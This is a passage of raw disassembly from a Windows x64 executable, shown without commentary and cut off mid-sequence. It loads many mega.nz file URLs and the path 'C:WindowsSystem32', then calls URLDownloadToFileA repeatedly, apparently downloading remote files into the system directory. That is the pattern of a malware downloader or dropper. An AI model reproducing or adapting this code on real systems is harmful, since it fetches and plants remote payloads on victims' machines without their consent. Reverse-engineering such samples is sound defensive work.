lea rdx, str.https:__mega.nz_file_lW9lhRqCTH1q_Vz4OIuVb7PYj_22U1P7MgdGTr8vAAAAAAAAAAA
lea rcx, [rbp + 0x1c0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1a0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x190], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_gL11kRjCx0SZ1u5br1GHmWBsf7ynaiFqaO32OdRRAAAAAAAAAAA
lea rcx, [rbp + 0x180]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x160]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x150], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_lTkjzYhA_Os_nCDvCITyRKa1xag0uLMdHZHjvGpFAAAAAAAAAAA
lea rcx, [rbp + 0x140]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x120]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_lLFUEJTbjU_eDXPQ3M53csJYZMhJanQpFhhXrAhWAAAAAAAAAAA
lea rcx, [rbp + 0x100]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xe0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_tOdi0RyTq0Q3Atwd70a1QPfdrdbh0ZdRJIghCyEhAAAAAAAAAAA
lea rcx, [rbp + 0xc0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xa0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_wXE3FJoKA5Pn4SokL7X8vNQVhFyFEsToW_DcdNbWAAAAAAAAAAA
lea rcx, [rbp + 0x80]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x60]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_Fb1C1YYR1tzhVrVHiyp8rPSEeaJdttJ_nh0WVoU_AAAAAAAAAAA
lea rcx, [rbp + 0x40]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x20]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_sb1n1TBRmAJ1FlnWZHJiUZoCwQHvmErEqP0YRokIAAAAAAAAAAA
lea rcx, [rbp]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp - 0x20]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_1X1mWZoYkaOtoYlPUH_ngO_golwa_NdS4eID98rfAAAAAAAAAAA
lea rcx, [rbp - 0x40]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp - 0x60]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_Ib1gibBJt11ccZMAVgRD2zqtrXvywnc99FlhJouGAAAAAAAAAAA
lea rcx, [rbp - 0x80]
call fcn.1400187a0
nop
lea rcx, [rbp + 0x11e0]
call fcn.14000e3b0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x11f0], xmm0
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x11e0]
call fcn.1400187a0
nop
lea rdx, str.https:__mega.nz_file_dGkVQADZolXHFm_dvlymw6US02JDZ24qB2VphVp_AAAAAAAAAAA
lea rcx, [rbp + 0x17c0]
call fcn.14000a840
nop
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x17a0]
call fcn.14000a840
nop
lea rdx, str.https:__mega.nz_file_NKlAXTgQ4BBxT1SzD2xp9TiXgGbntgygdyvUGKiBAAAAAAAAAAA
lea rcx, [rbp + 0x1780]
call fcn.14000a840
nop
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1760]
call fcn.14000a840
nop
lea rdx, str.https:__mega.nz_file_UfVRGCRYY12EmfjoYrRw3DW8moD6UguiYU6FOpkwAAAAAAAAAAA
lea rcx, [rbp + 0x1740]
call fcn.14000a840
nop
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1720]
call fcn.14000a840
nop
lea rdx, str.https:__mega.nz_file_lC9hlIDaMwuq8U2rzxEXGQqfEhUT_mVYC3JUXN9WAAAAAAAAAAA
lea rcx, [rbp + 0x1700]
call fcn.14000a840
nop
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x16e0]
call fcn.14000a840
nop
lea rdx, str.https:__mega.nz_file_pTFQkRxSmIQAq5AFxNG3hegsZHSD_t7nvmnF5drvAAAAAAAAAAA
lea rcx, [rbp + 0x16c0]
call fcn.14000a840
nop
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x16a0]
call fcn.14000a840
nop
lea rdx, str.https:__mega.nz_file_ta1VRbZTileNxKELht2IJ_xEnPZajMoPsotqnW49AAAAAAAAAAA
lea rcx, [rbp + 0x1680]
call fcn.14000a840
nop
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x17e0]
call fcn.14000a840
nop
lea rcx, [rbp + 0x1620]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1640]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x15e0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1600]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x15a0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x15c0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1560]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1580]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1520]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1540]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1660]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1500]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x14a0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x14c0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1460]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1480]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1420]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1440]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x13e0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1400]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x13a0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x13c0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1360]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1380]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1320]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1340]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x12e0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1300]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x12a0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x12c0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1260]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1280]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1220]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1240]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x14e0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1200]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x11a0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x11c0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1160]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1180]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1120]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1140]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x10e0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1100]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x10a0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x10c0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1060]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1080]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1020]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1040]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xfe0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1000]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xfa0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xfc0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xf60]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xf80]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xf20]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xf40]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xee0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xf00]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xea0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xec0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xe60]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xe80]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xe20]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xe40]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xde0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xe00]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xda0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xdc0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xd60]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xd80]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xd20]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xd40]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xce0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xd00]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xca0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xcc0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xc60]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xc80]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xc20]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xc40]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xbe0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xc00]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xba0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xbc0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xb60]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xb80]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xb20]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xb40]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xae0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xb00]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xaa0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xac0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xa60]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xa80]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xa20]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xa40]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x9e0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xa00]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x9a0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x9c0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x960]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x980]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x920]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x940]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x8e0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x900]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x8a0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x8c0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x860]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x880]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x820]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x840]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x7e0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x800]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x7a0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x7c0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x760]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x780]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x720]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x740]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x6e0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x700]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x6a0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x6c0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x660]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x680]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x620]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x640]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x5e0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x600]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x5a0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x5c0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x560]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x580]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x520]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x540]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x4e0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x500]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x4a0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x4c0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x460]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x480]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x420]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x440]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x3e0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x400]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x3a0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x3c0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x360]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x380]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
